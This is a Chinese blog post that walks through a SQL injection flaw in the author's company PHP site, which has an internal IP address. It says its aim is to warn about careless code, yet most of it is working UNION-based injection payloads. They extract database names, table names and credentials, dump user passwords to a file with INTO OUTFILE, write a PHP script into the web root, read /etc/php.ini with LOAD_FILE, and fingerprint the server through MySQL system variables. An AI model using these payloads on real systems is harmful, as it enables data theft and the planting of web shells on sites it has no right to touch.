sql注入公司的项目

18 篇文章 0 订阅
12 篇文章 0 订阅

这是在做公司的项目时发现的漏洞,公司代码管理方面有些欠缺,代码质量不是很好。

sql注入最严重的是被拿到服务器管理权限,删数据还是轻的了。写这个当然不是教你们怎么做黑客注入人家的网站,而是说明一个sql注入漏洞的危害,平时写代码要用心,不要应付。


代码里这样写:


正常的sql语句查出来的信息:



检查是否能注入:

第一步:http://192.168.18.142/xxxxxxx/faq/faq_display.php?cate_id=77’and ‘1’=’1&faq_user=800

第二步:这样说明有注入漏洞

http://192.168.18.142/xxxxxxxxxx/faq/faq_display.php?cate_id=77’  and ‘1’=’2&faq_user=800

猜查询多少字段,select1,2,3有值时说明原sql语句查询了3个字段,数据在2这个位置显示出来



爆数据库名

SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'

UNION SELECT 1,DATABASE(),3 FROMinformation_schema.TABLES WHERE '1'='1'


爆数据库路径

SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'

UNION SELECT 1,@@datadir,3 FROMinformation_schema.TABLES WHERE '1'='1'


爆所有表名

select faq_id,faq_title,faq_cateid from faq_info wherefaq_cateid='77' UNION SELECT 1,group_concat(table_name),3 FROMinformation_schema.TABLES where '1'='1'



爆用户名和密码



取得php.ini内容


看到这里应该想到sql注入的危害了吧,下面帖出一些sql注入相关的语句,危害大着呢

导出到文件里

SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'

UNION SELECT1,CONCAT(id,'|',username,'|',PASSWORD,'|',extension),3 INTO OUTFILE "/tmp/test.txt"FROM ss_ampusers WHERE '1'='1'

 

写入脚本

UNION SELECT 1,'<?php phpinfo();?>',3INTO OUTFILE "/data/justcall/html/userweb/a.php" FROM ss_ampusersWHERE '1'='1'

 

读文件

UNION SELECT 1,LOAD_FILE(‘/etc/php.ini’),3  FROM ss_ampusers WHERE '1'='1'

 

 

获取系统信息参数

SELECT faq_id,faq_title,faq_cateid FROMfaq_info WHERE faq_cateid='77'

UNION SELECT1,CONCAT(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,USER(),0x3c62723e,VERSION(),0x3c62723e,DATABASE()),3

FROM information_schema.TABLES WHERE'1'='1'

 

 

获取系统信息参数说明

@@global.version_compile_os获取系统版本

@@datadir 数据库路径
 database() 当前数据库名称
 0x3c62723e 换行HEX值

USER()用户和ip

VERSION()mysql版本

@@have_openssl如果mysqld支持客户端/服务器协议的SSL(加密)则为YES

 

@@version_compile_os判断系统类型

 

@@max_allowed_packet包或任何生成的/中间字符串的最大大小

 

@@max_user_connectionsMySQL账户允许的最大同时连接数,0表示没限制

 

@@skip_networking如果服务器只允许本地(非TCP/IP)连接,该值为ON

 

@@table_type 默认表类型(存储引擎)

 

@@basedirMySQL安装基准目录

 

@@character_set_database默认数据库使用的字符集

 

@@datadir 数据库存储的地方

 

@@expire_logs_days二进制日志自动删除的天数,默认是0,表示"没有自动删除"

 

@@group_concat_max_len允许group_concat()函数结果的最大长度

 

@@log_error 错误日志的位置

 

@@lower_case_file_system该变量说明是否数据目录所在的文件系统对文件名的大小写敏感.

 

ON说明对文件名的大小写不敏感,OFF表示敏感

 

@@lower_case_table_names如果设置为1,表名用小写保存到硬盘上,并且表名比较时不对大小写敏感.

 

如果设置为2,按照指定的保存表名,但按照小写来比较

 

@@plugin_dir 插件目录的路径

 

@@tmpdir 保存临时文件和临时表的目录

 

@@tmp_table_size如果内存内的临时表超过该值,MySQL自动将它转换为硬盘上的MyISAM表

 

@@sql_mode 当前服务器的sql模式

 

@@tx_isolation默认事务隔离级别。默认值为REPEATABLE-READ

 

@@Connections连接mysql数据库服务器的次数(不管成功还是失败)

 

@@max_write_lock_count最大写锁数量

 

@@old_passwords是否启用mysql323加密方式(就是mysql用户密码的hash是16位的)

 

@@Uptime 服务器已经运行的时间




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hello_simon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值